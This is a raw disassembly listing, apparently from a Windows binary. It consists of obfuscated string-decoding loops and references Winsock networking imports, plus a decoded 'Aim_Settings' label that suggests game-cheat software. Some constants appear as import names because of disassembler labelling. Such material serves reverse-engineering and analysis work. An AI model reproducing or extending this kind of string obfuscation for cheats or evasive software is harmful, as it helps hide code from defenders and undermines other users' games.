jmp 0x14007b7d0
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x14007b770
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b706
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14007be77
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007be7a
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x14007beb2
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007bedd
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007be77
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx r11d, r10b
jmp 0x14007bd48
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007b6f3
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14007b6f3
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx edx, r10b
jmp 0x14007be36
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007bafb
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x14007bd72
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14007bbf7
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 1
jae 0x14007bd26
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007bca3
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
jne 0x14007bb2e
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007bb52
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14007beb2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007bb76
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14007be77
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bba2
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007bd48
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007bbcc
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
dec r10
inc r10
jmp 0x14007b6f3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007ba80
movzx edx, r10b
lea ecx, [rdx - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14007be36
jne 0x14007bc17
movzx edx, r10b
lea ecx, [rdx + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x14007be36
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bc41
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
dec r10
inc r10
jmp 0x14007b6f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007bc65
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14007be77
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007bab7
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007bcc7
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14007bedd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bcef
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007be77
cmp r8, 0x20
jb 0x14007bd16
movzx edx, r10b
lea ecx, [rdx + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x38]
jmp 0x14007be36
mov byte [rbp + r10 + 0x280], dil
inc r10
jmp 0x14007b6f3
movzx r11d, r10b
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x280]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x66
movzx eax, r9b
and al, r11b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
add cl, dil
mov byte [rbp + r10 + 0x280], cl
jmp 0x14007be77
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x280]
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x14007beb2
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14007be77
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
dec r10
inc r10
jmp 0x14007b6f3
movzx edx, r10b
lea ecx, [rdx - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14007be36
movzx edx, r10b
lea ecx, [rdx - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
add dl, 0x7a
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
sub r9b, 0x56
add r9b, dl
mov byte [rbp + r10 + 0x280], r9b
inc r8
dec r10
inc r10
jmp 0x14007b6f3
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b6f3
lea rcx, [r10 + 0x8683a]
movzx r9d, r11b
and r11b, cl
mov eax, gethostname
sub al, r11b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x3e
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x280], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x38]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, cl
mov byte [rbp + r10 + 0x280], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
lea rdx, [r10 + 0x39a62]
movzx eax, r11b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b6f3
add r10b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x22
jmp 0x14007b6f0
add r10b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007b6e0
lea rcx, [rbp + 0x14e95c8]
jmp 0x14007bfac
lea rcx, [rbp + 0x10fc93e]
jmp 0x14007bfac
lea rcx, [rbp + 0x280]
lea rdx, [0x1401ed241]
call fcn.140039930
mov byte [rbp + 0x540], 0xcd
mov byte [rbp + 0x541], 0xa7
mov byte [rbp + 0x542], 0xb3
mov byte [rbp + 0x543], 0x4d
mov byte [rbp + 0x544], 0x56
mov byte [rbp + 0x545], 0x52
mov byte [rbp + 0x546], 8
mov byte [rbp + 0x547], gethostname
mov byte [rbp + 0x548], 0x3f
mov byte [rbp + 0x549], 0x47
mov byte [rbp + 0x54a], select
mov byte [rbp + 0x54b], 0x24
mov byte [rbp + 0x54c], 0x54
mov byte [rbp + 0x54d], 0x57
mov byte [rbp + 0x54e], 0x51
mov byte [rbp + 0x54f], WSAStartup
mov byte [rbp + 0x550], 0x53
mov byte [rbp + 0x551], 0xe5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x552], xmm0
mov dword [rbp + 0x562], eax
mov byte [rbp + 0x566], al
movabs rsi, 0xb03d3a2036606d7d
movabs r15, 0xd1ac96e17ca2fe6b
movabs r14, 0x10b7ae60a3214877
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x27
jae 0x14007cc24
movzx r9d, byte [rbp + r10 + 0x540]
mov rdx, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x14007cc1b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007c0cc
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x6b
jmp 0x14007c106
je 0x14007cbad
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007cb29
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007cacb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007caa6
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007ca5b
cmp r8, r10
ja 0x14007cc12
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14007c130
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
jmp 0x14007c170
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ca3e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ca1c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007ca00
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007c9e1
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007c6ef
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c6cf
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007c6a7
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007c682
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c662
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007c646
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007c62a
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007c60b
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007c5ec
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007c5bb
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007c180
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x200]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007cbf5
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007cbd8
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007c351
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007c336
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007c31b
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007c56a
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007c50b
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007c4c6
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007c49f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007c180
lea rbx, [r8 + 0x40]
lea r8, [rbx + 3]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007c46e
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007c44f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14007c430
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007c414
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007c3f5
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007c3d5
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007c3b0
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007c38b
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007c36c
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 5]
jmp 0x14007c180
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x14007c170
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
jmp 0x14007c106
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
jmp 0x14007c097
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx r11d, r10b
jmp 0x14007ca79
lea ecx, [r10 + 0xe]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x62
inc r8
dec r10
inc r10
jmp 0x14007c084
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007c084
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14007cae6
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007cb0d
lea ecx, [r10 + 0x26]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xa
jmp 0x14007cb10
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x14007cb42
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x14007cb6a
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
lea ecx, [r10 - 0x39]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x71
mov byte [rbp + r10 + 0x540], dil
inc r10
jmp 0x14007c084
lea edx, [r10 - 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x65
add dil, dl
cmp r8, 3
jb 0x14007c4b6
movzx r11d, r10b
lea edx, [r11 - 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x44]
jmp 0x14007ca79
lea edx, [r10 - 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x3b
add dil, dl
cmp rbx, 1
jae 0x14007c9a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c8d2
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
lea edx, [r10 - 0x27]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x11
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14007c9cb
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x14007c7f6
lea edx, [r10 - 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7f
jmp 0x14007c522
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007cb6a
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007cb42
lea ecx, [r10 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
jmp 0x14007cb10
lea ecx, [r10 - 0x62]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x52
jmp 0x14007cb0d
movzx r11d, r10b
lea edx, [r11 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
jmp 0x14007cae6
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007c084
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007c084
movzx r11d, r10b
lea edx, [r11 - 0x4a]
movzx eax, r9b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007ca76
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14007c714
lea edx, [r10 + 0x7d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6b
jmp 0x14007c581
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c74e
lea edx, [r10 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c776
lea edx, [r10 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3a
add dil, dl
jmp 0x14007cb42
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c79b
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
jmp 0x14007cb10
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007c7c9
lea edx, [r10 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007c084
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007c584
movzx r11d, r10b
lea edx, [r11 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
jmp 0x14007ca76
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c81f
movzx r11d, r10b
lea edx, [r11 - 0x3d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x55
jmp 0x14007ca76
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c849
lea ecx, [r10 - 0x49]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
dec dil
dec r10
inc r10
jmp 0x14007c084
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c872
movzx r11d, r10b
lea edx, [r11 - 0x4f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x29
jmp 0x14007cae6
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007c897
lea ecx, [r10 - 0x55]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x53
jmp 0x14007cb0d
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007c525
lea ecx, [r10 - 0x6d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 5
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c8fa
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007cb6a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c922
lea edx, [r10 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007cb10
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007c94b
movzx r11d, r10b
lea edx, [r11 - 0x1a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4a
jmp 0x14007cae6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007c976
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
dec r10
inc r10
jmp 0x14007c084
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007c4e0
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007ca76
movzx r11d, r10b
lea edx, [r11 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x540]
sub dil, al
sub dil, 0x78
add dil, r9b
jmp 0x14007cae6
lea ecx, [r10 - 0x3e]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x4e]
jmp 0x14007cb42
lea edx, [r10 + 0x17]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5f
add dil, dl
jmp 0x14007cb42
lea ecx, [r10 + 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xb
jmp 0x14007cb0d
lea ecx, [r10 + 0x2f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x49
dec r10
inc r10
jmp 0x14007c084
movzx r11d, r10b
lea edx, [r11 + 0x3b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x63
jmp 0x14007ca76
movzx r11d, r10b
lea edx, [r11 + 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xf
add dil, dl
add r11b, 0x4b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0xd
add r11b, r9b
mov byte [rbp + r10 + 0x540], r11b
inc r8
dec r10
inc r10
jmp 0x14007c084
lea ecx, [r10 + 0x4d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1b
inc r8
dec r10
inc r10
jmp 0x14007c084
movzx r11d, r10b
lea edx, [r11 + 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6f
add dil, dl
add r11b, 0x45
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x1d
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x540], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007c084
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x47
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x540], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x24
add cl, r9b
mov byte [rbp + r10 + 0x540], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x41
movzx eax, byte [rbp + r10 + 0x540]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c084
sub r10b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x69
jmp 0x14007c081
sub r10b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3f
jmp 0x14007c071
lea rcx, [rbp + 0x149953c]
jmp 0x14007cc2b
lea rcx, [rbp + 0xaa02b9]
jmp 0x14007cc2b
lea rcx, [rbp + 0x540]
lea rdx, [0x1401ed249]
call fcn.140039930
call fcn.14000cc70
mov dword [rbp + 0x1c], 0x43bf0000
mov dword [rbp + 0x20], 0x428c0000
lea rcx, [rbp + 0x1c]
call fcn.14001a6b0
mov dword [rbp + 0x24], 0x438d0000
mov dword [rbp + 0x28], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x24]
lea rcx, str.Aim_Settings
call fcn.140009cf0
mov byte [rbp + 0x2a0], 0xec
mov byte [rbp + 0x2a1], 0xe4
mov byte [rbp + 0x2a2], 0x1e
mov byte [rbp + 0x2a3], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a4], xmm0
mov qword [rbp + 0x2b4], rax
mov byte [rbp + 0x2bc], al
movabs rsi, 0x6dadb93a6aff2219
movabs r14, 0x49092baf40fd664b
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x1d
jae 0x14007d7b8
movzx r9d, byte [rbp + r10 + 0x2a0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007d7af
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007cd2c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x51
jmp 0x14007cd50
je 0x14007d741
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d6e3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d6c1
